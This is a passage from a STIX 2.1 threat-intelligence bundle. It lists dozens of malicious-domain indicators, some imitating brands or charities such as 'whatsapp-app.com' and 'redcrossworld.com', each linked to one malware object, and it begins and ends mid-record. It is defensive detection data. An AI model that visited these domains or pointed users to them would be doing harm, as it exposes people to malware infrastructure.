"pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.350447Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5db99f85-ee50-483d-884b-7f8a7d4bded8", "created": "2024-01-26T21:28:21.350841Z", "modified": "2024-01-26T21:28:21.350841Z", "relationship_type": "indicates", "source_ref": "indicator--2b82f198-2a14-4592-8125-1ea5d4af9304", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e93ef647-b70a-464a-b64e-359a152e0c7f", "created": "2024-01-26T21:28:21.350937Z", "modified": "2024-01-26T21:28:21.350937Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noloveforyou.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.350937Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--02f85dc7-8ec0-49a5-87e1-f9c7f3b9452c", "created": "2024-01-26T21:28:21.35132Z", "modified": "2024-01-26T21:28:21.35132Z", "relationship_type": "indicates", "source_ref": "indicator--e93ef647-b70a-464a-b64e-359a152e0c7f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0f76152b-cc68-4d3a-81c8-556e18e43da9", "created": "2024-01-26T21:28:21.351415Z", "modified": "2024-01-26T21:28:21.351415Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='blackwhitebags.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.351415Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e8b94a66-058b-4cab-a2f2-0c723836ba47", "created": "2024-01-26T21:28:21.351806Z", "modified": "2024-01-26T21:28:21.351806Z", "relationship_type": "indicates", "source_ref": "indicator--0f76152b-cc68-4d3a-81c8-556e18e43da9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b7c042d0-9824-43e4-8b40-f9746aab677b", "created": "2024-01-26T21:28:21.351906Z", "modified": "2024-01-26T21:28:21.351906Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='host-redirect.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.351906Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ea630c0f-4845-4f49-9337-8a1107aac2e8", "created": "2024-01-26T21:28:21.352293Z", "modified": "2024-01-26T21:28:21.352293Z", "relationship_type": "indicates", "source_ref": "indicator--b7c042d0-9824-43e4-8b40-f9746aab677b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ff114868-a5df-4020-ad82-365283e74c12", "created": "2024-01-26T21:28:21.352389Z", "modified": "2024-01-26T21:28:21.352389Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='flights-todays.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.352389Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8c23acfe-3922-400f-95c6-68ca1397c2e2", "created": "2024-01-26T21:28:21.352858Z", "modified": "2024-01-26T21:28:21.352858Z", "relationship_type": "indicates", "source_ref": "indicator--ff114868-a5df-4020-ad82-365283e74c12", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--366c6f71-12e3-4708-96ac-c0ab19c9ccc0", "created": "2024-01-26T21:28:21.352955Z", "modified": "2024-01-26T21:28:21.352955Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='hotelsurvey.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.352955Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e81b6339-b075-4b3e-a507-c9d61337ebc2", "created": "2024-01-26T21:28:21.353345Z", "modified": "2024-01-26T21:28:21.353345Z", "relationship_type": "indicates", "source_ref": "indicator--366c6f71-12e3-4708-96ac-c0ab19c9ccc0", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--45ab46f7-30ef-4e1d-8138-2b3eec825e23", "created": "2024-01-26T21:28:21.353443Z", "modified": "2024-01-26T21:28:21.353443Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='diaspora-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.353443Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--08fc5548-ecf4-426a-89f2-a62ebe0136a6", "created": "2024-01-26T21:28:21.35383Z", "modified": "2024-01-26T21:28:21.35383Z", "relationship_type": "indicates", "source_ref": "indicator--45ab46f7-30ef-4e1d-8138-2b3eec825e23", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26050a8e-1946-430d-93ab-9455a3320f60", "created": "2024-01-26T21:28:21.353925Z", "modified": "2024-01-26T21:28:21.353925Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='takethat.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.353925Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--11e4b3f4-4c6c-4897-9b5f-bbedad1977c4", "created": "2024-01-26T21:28:21.354305Z", "modified": "2024-01-26T21:28:21.354305Z", "relationship_type": "indicates", "source_ref": "indicator--26050a8e-1946-430d-93ab-9455a3320f60", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--27e2b1fc-391c-4923-8051-4f2884fa52b1", "created": "2024-01-26T21:28:21.354401Z", "modified": "2024-01-26T21:28:21.354401Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domesticwindow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.354401Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7dde5a25-7d96-408a-adaf-a9c27875245c", "created": "2024-01-26T21:28:21.354791Z", "modified": "2024-01-26T21:28:21.354791Z", "relationship_type": "indicates", "source_ref": "indicator--27e2b1fc-391c-4923-8051-4f2884fa52b1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fedaa52a-0f92-46e9-806e-4962890c79ab", "created": "2024-01-26T21:28:21.354887Z", "modified": "2024-01-26T21:28:21.354887Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='purchaseusingcoins.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.354887Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dd80d0de-6b6e-416b-a6a3-4f21b43b86ad", "created": "2024-01-26T21:28:21.355277Z", "modified": "2024-01-26T21:28:21.355277Z", "relationship_type": "indicates", "source_ref": "indicator--fedaa52a-0f92-46e9-806e-4962890c79ab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9c2b96bb-e754-43d0-90d1-358f6ae82ef5", "created": "2024-01-26T21:28:21.355373Z", "modified": "2024-01-26T21:28:21.355373Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fundum8430.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.355373Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f5f80eac-3519-4eb9-904c-ad18450bd4cd", "created": "2024-01-26T21:28:21.355814Z", "modified": "2024-01-26T21:28:21.355814Z", "relationship_type": "indicates", "source_ref": "indicator--9c2b96bb-e754-43d0-90d1-358f6ae82ef5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6b9db0e1-ed51-4a42-b886-113623e714fc", "created": "2024-01-26T21:28:21.35591Z", "modified": "2024-01-26T21:28:21.35591Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='domains-resolver.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.35591Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0416f89d-c5c3-4c8d-8a10-78be1c9f5f02", "created": "2024-01-26T21:28:21.356301Z", "modified": "2024-01-26T21:28:21.356301Z", "relationship_type": "indicates", "source_ref": "indicator--6b9db0e1-ed51-4a42-b886-113623e714fc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2d947b2c-9714-4abf-a0fb-81941c0855c9", "created": "2024-01-26T21:28:21.356396Z", "modified": "2024-01-26T21:28:21.356396Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rockstarpony.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.356396Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4a3c42e4-b0d6-4298-9d0f-af8a9459c060", "created": "2024-01-26T21:28:21.356787Z", "modified": "2024-01-26T21:28:21.356787Z", "relationship_type": "indicates", "source_ref": "indicator--2d947b2c-9714-4abf-a0fb-81941c0855c9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--034ec510-5759-4470-a366-0e730b1c2f34", "created": "2024-01-26T21:28:21.356883Z", "modified": "2024-01-26T21:28:21.356883Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='shoppingdailydeals.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.356883Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--21af06f7-9b7d-4060-ae7c-31cbd7315365", "created": "2024-01-26T21:28:21.357558Z", "modified": "2024-01-26T21:28:21.357558Z", "relationship_type": "indicates", "source_ref": "indicator--034ec510-5759-4470-a366-0e730b1c2f34", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--14a0e72f-1c72-4be0-ad01-6005480dd0d2", "created": "2024-01-26T21:28:21.357658Z", "modified": "2024-01-26T21:28:21.357658Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='lifenoonkid.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.357658Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ca59e393-8d74-4394-bc96-11284a1b4d45", "created": "2024-01-26T21:28:21.35805Z", "modified": "2024-01-26T21:28:21.35805Z", "relationship_type": "indicates", "source_ref": "indicator--14a0e72f-1c72-4be0-ad01-6005480dd0d2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--61bc5220-d769-4f29-a33b-11f0d10ddcc1", "created": "2024-01-26T21:28:21.358146Z", "modified": "2024-01-26T21:28:21.358146Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='woodhome4u.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.358146Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--431a9254-a848-4161-a380-fbb1ab45d75f", "created": "2024-01-26T21:28:21.358531Z", "modified": "2024-01-26T21:28:21.358531Z", "relationship_type": "indicates", "source_ref": "indicator--61bc5220-d769-4f29-a33b-11f0d10ddcc1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1755f979-a9ac-4d86-b95b-48d4f6ae4058", "created": "2024-01-26T21:28:21.358628Z", "modified": "2024-01-26T21:28:21.358628Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='newip-info.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.358628Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--67306e5d-55c8-4fe5-aa1f-98f6257efbb9", "created": "2024-01-26T21:28:21.359014Z", "modified": "2024-01-26T21:28:21.359014Z", "relationship_type": "indicates", "source_ref": "indicator--1755f979-a9ac-4d86-b95b-48d4f6ae4058", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--24a69c1a-12ca-4462-ab25-a2c23e577e80", "created": "2024-01-26T21:28:21.359113Z", "modified": "2024-01-26T21:28:21.359113Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='done.events']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.359113Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--23cafa4c-5f6f-4465-a518-d8b0eafc961f", "created": "2024-01-26T21:28:21.359498Z", "modified": "2024-01-26T21:28:21.359498Z", "relationship_type": "indicates", "source_ref": "indicator--24a69c1a-12ca-4462-ab25-a2c23e577e80", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--da4369db-8a80-4217-9fb5-a4179ff79d05", "created": "2024-01-26T21:28:21.359596Z", "modified": "2024-01-26T21:28:21.359596Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='whatsapp-app.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.359596Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ddf7188e-c469-4f8d-9c38-94b160675bc9", "created": "2024-01-26T21:28:21.359983Z", "modified": "2024-01-26T21:28:21.359983Z", "relationship_type": "indicates", "source_ref": "indicator--da4369db-8a80-4217-9fb5-a4179ff79d05", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--26e9a024-6bfe-45ce-abd2-b9066894bb25", "created": "2024-01-26T21:28:21.36008Z", "modified": "2024-01-26T21:28:21.36008Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='redcrossworld.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.36008Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d0acb8a1-e52f-435f-8fd8-0e5ea4112637", "created": "2024-01-26T21:28:21.360465Z", "modified": "2024-01-26T21:28:21.360465Z", "relationship_type": "indicates", "source_ref": "indicator--26e9a024-6bfe-45ce-abd2-b9066894bb25", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cd864be7-1afe-4566-a5fb-26e6334ee510", "created": "2024-01-26T21:28:21.36056Z", "modified": "2024-01-26T21:28:21.36056Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ilovemymilf.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.36056Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bc499494-5fa5-4ff7-8fcd-c691dce53717", "created": "2024-01-26T21:28:21.360943Z", "modified": "2024-01-26T21:28:21.360943Z", "relationship_type": "indicates", "source_ref": "indicator--cd864be7-1afe-4566-a5fb-26e6334ee510", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8a1bd9b5-37b7-45fe-88ff-4a23dc79e4fd", "created": "2024-01-26T21:28:21.361038Z", "modified": "2024-01-26T21:28:21.361038Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='exploreemail.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.361038Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4bd45349-4df6-4117-bfec-be2ef519538d", "created": "2024-01-26T21:28:21.361425Z", "modified": "2024-01-26T21:28:21.361425Z", "relationship_type": "indicates", "source_ref": "indicator--8a1bd9b5-37b7-45fe-88ff-4a23dc79e4fd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f2662bf3-f673-4109-9242-ffdf97b37aeb", "created": "2024-01-26T21:28:21.361521Z", "modified": "2024-01-26T21:28:21.361521Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='pay-city.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.361521Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9f9b5e06-1a91-45c0-b04f-4aa485faf42a", "created": "2024-01-26T21:28:21.361897Z", "modified": "2024-01-26T21:28:21.361897Z", "relationship_type": "indicates", "source_ref": "indicator--f2662bf3-f673-4109-9242-ffdf97b37aeb", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a2b6bbcd-4f50-4df1-823b-427ad4d7ddb6", "created": "2024-01-26T21:28:21.361993Z", "modified": "2024-01-26T21:28:21.361993Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='homeishere.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.361993Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8c8a49e-2368-4f74-ba34-953bc61b376d", "created": "2024-01-26T21:28:21.362462Z", "modified": "2024-01-26T21:28:21.362462Z", "relationship_type": "indicates", "source_ref": "indicator--a2b6bbcd-4f50-4df1-823b-427ad4d7ddb6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5e2439e8-4be3-4b82-96d7-3c112cd9ca36", "created": "2024-01-26T21:28:21.362562Z", "modified": "2024-01-26T21:28:21.362562Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='homemadecandies.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.362562Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dad6b6aa-217f-4e61-a378-494034605129", "created": "2024-01-26T21:28:21.36296Z", "modified": "2024-01-26T21:28:21.36296Z", "relationship_type": "indicates", "source_ref": "indicator--5e2439e8-4be3-4b82-96d7-3c112cd9ca36", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e5706427-8849-4d27-8f81-0f67f7d91ab1", "created": "2024-01-26T21:28:21.363061Z", "modified": "2024-01-26T21:28:21.363061Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kingdom-news.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.363061Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c42b0206-bbc4-48b8-8211-958ab1cb7360", "created": "2024-01-26T21:28:21.363447Z", "modified": "2024-01-26T21:28:21.363447Z", "relationship_type": "indicates", "source_ref": "indicator--e5706427-8849-4d27-8f81-0f67f7d91ab1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2173fdf2-6730-47b1-a9dc-375349eb4107", "created": "2024-01-26T21:28:21.363543Z", "modified": "2024-01-26T21:28:21.363543Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='displaytag.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.363543Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5ceac241-c185-41ae-8e4f-59ef2ef48950", "created": "2024-01-26T21:28:21.363927Z", "modified": "2024-01-26T21:28:21.363927Z", "relationship_type": "indicates", "source_ref": "indicator--2173fdf2-6730-47b1-a9dc-375349eb4107", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--437a1f5f-60dc-4c95-8c9c-ac0f80d8c6dd", "created": "2024-01-26T21:28:21.364022Z", "modified": "2024-01-26T21:28:21.364022Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cssgraphics.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.364022Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--49225304-4ece-4abd-a562-b0b0c0248dfe", "created": "2024-01-26T21:28:21.364408Z", "modified": "2024-01-26T21:28:21.364408Z", "relationship_type": "indicates", "source_ref": "indicator--437a1f5f-60dc-4c95-8c9c-ac0f80d8c6dd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--369b38bc-8195-472e-b337-e11faa520f11", "created": "2024-01-26T21:28:21.364509Z", "modified": "2024-01-26T21:28:21.364509Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='leprotestant.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.364509Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--acdd8b96-2b7e-42db-89b7-793d015b01c3", "created": "2024-01-26T21:28:21.364902Z", "modified": "2024-01-26T21:28:21.364902Z", "relationship_type": "indicates", "source_ref": "indicator--369b38bc-8195-472e-b337-e11faa520f11", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b7ed4d63-c474-414f-a876-013a95c8490a", "created": "2024-01-26T21:28:21.365001Z", "modified": "2024-01-26T21:28:21.365001Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='gadgetsshop.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.365001Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aae28c44-fbf3-46be-a44a-4b536ef32d3e", "created": "2024-01-26T21:28:21.365388Z", "modified": "2024-01-26T21:28:21.365388Z", "relationship_type": "indicates", "source_ref": "indicator--b7ed4d63-c474-414f-a876-013a95c8490a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5289af26-d024-4d27-b100-c25829ad716c", "created": "2024-01-26T21:28:21.365488Z", "modified": "2024-01-26T21:28:21.365488Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='host-one-more.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.365488Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f4666c09-1304-49b0-989d-9d25b102609e", "created": "2024-01-26T21:28:21.365874Z", "modified": "2024-01-26T21:28:21.365874Z", "relationship_type": "indicates", "source_ref": "indicator--5289af26-d024-4d27-b100-c25829ad716c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1a9fa762-22d5-4e81-944c-dbb6ef6b3845", "created": "2024-01-26T21:28:21.365975Z", "modified": "2024-01-26T21:28:21.365975Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='link-scan.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.365975Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--514b7c43-2040-46b7-bf6b-4bb42ecb72e2", "created": "2024-01-26T21:28:21.366368Z", "modified": "2024-01-26T21:28:21.366368Z", "relationship_type": "indicates", "source_ref": "indicator--1a9fa762-22d5-4e81-944c-dbb6ef6b3845", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8f325057-e364-4b28-bc29-eda7f3666233", "created": "2024-01-26T21:28:21.366471Z", "modified": "2024-01-26T21:28:21.366471Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='vault-encryption.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.366471Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5f5ada45-605c-4f6a-8e91-6ccd78a766f2", "created": "2024-01-26T21:28:21.366954Z", "modified": "2024-01-26T21:28:21.366954Z", "relationship_type": "indicates", "source_ref": "indicator--8f325057-e364-4b28-bc29-eda7f3666233", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c298996b-670d-4c75-8708-ca574eb2e7a6", "created": "2024-01-26T21:28:21.36706Z", "modified": "2024-01-26T21:28:21.36706Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='kenyasms.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.36706Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--99745769-7132-41c2-a0f0-8e1d11f19039", "created": "2024-01-26T21:28:21.367446Z", "modified": "2024-01-26T21:28:21.367446Z", "relationship_type": "indicates", "source_ref": "indicator--c298996b-670d-4c75-8708-ca574eb2e7a6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--48303f52-2aac-48ed-8ae2-56895d77afc4", "created": "2024-01-26T21:28:21.367547Z", "modified": "2024-01-26T21:28:21.367547Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='page-info.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.367547Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--618a014f-bd68-4984-8add-3a607e601a8d", "created": "2024-01-26T21:28:21.367931Z", "modified": "2024-01-26T21:28:21.367931Z", "relationship_type": "indicates", "source_ref": "indicator--48303f52-2aac-48ed-8ae2-56895d77afc4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3441635b-7343-463e-8999-d0970951b025", "created": "2024-01-26T21:28:21.368026Z", "modified": "2024-01-26T21:28:21.368026Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='highclassdining.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.368026Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2e354f7f-4436-4f99-a66e-7726fee640e1", "created": "2024-01-26T21:28:21.368421Z", "modified": "2024-01-26T21:28:21.368421Z", "relationship_type": "indicates", "source_ref": "indicator--3441635b-7343-463e-8999-d0970951b025", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1ab30540-004f-44a4-9455-bdc84dd5301a", "created": "2024-01-26T21:28:21.368518Z", "modified": "2024-01-26T21:28:21.368518Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='speedservicenow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.368518Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d89b5d9b-3aa4-49b6-a24e-2d0ea98116ec", "created": "2024-01-26T21:28:21.368908Z", "modified": "2024-01-26T21:28:21.368908Z", "relationship_type": "indicates", "source_ref": "indicator--1ab30540-004f-44a4-9455-bdc84dd5301a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4db4aa69-0f4e-4fdb-b1e0-39faaac349d1", "created": "2024-01-26T21:28:21.369007Z", "modified": "2024-01-26T21:28:21.369007Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='popagency.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.369007Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f78e3965-51e0-46fb-8370-65a4b701fbbb", "created": "2024-01-26T21:28:21.369387Z", "modified": "2024-01-26T21:28:21.369387Z", "relationship_type": "indicates", "source_ref": "indicator--4db4aa69-0f4e-4fdb-b1e0-39faaac349d1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6193480f-09bb-448e-9e9e-6e78bbb7b312", "created": "2024-01-26T21:28:21.369486Z", "modified": "2024-01-26T21:28:21.369486Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='postainf.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.369486Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ccb37689-63a7-4fae-a59f-d9ecf772027e", "created": "2024-01-26T21:28:21.369869Z", "modified": "2024-01-26T21:28:21.369869Z", "relationship_type": "indicates", "source_ref": "indicator--6193480f-09bb-448e-9e9e-6e78bbb7b312", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8ede5cd7-72ea-4e7b-a8cc-ea0ceac82cf4", "created": "2024-01-26T21:28:21.369967Z", "modified": "2024-01-26T21:28:21.369967Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='fashion-live.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.369967Z"}, {"type": "relationship", "spec_version": "2.1", "id": 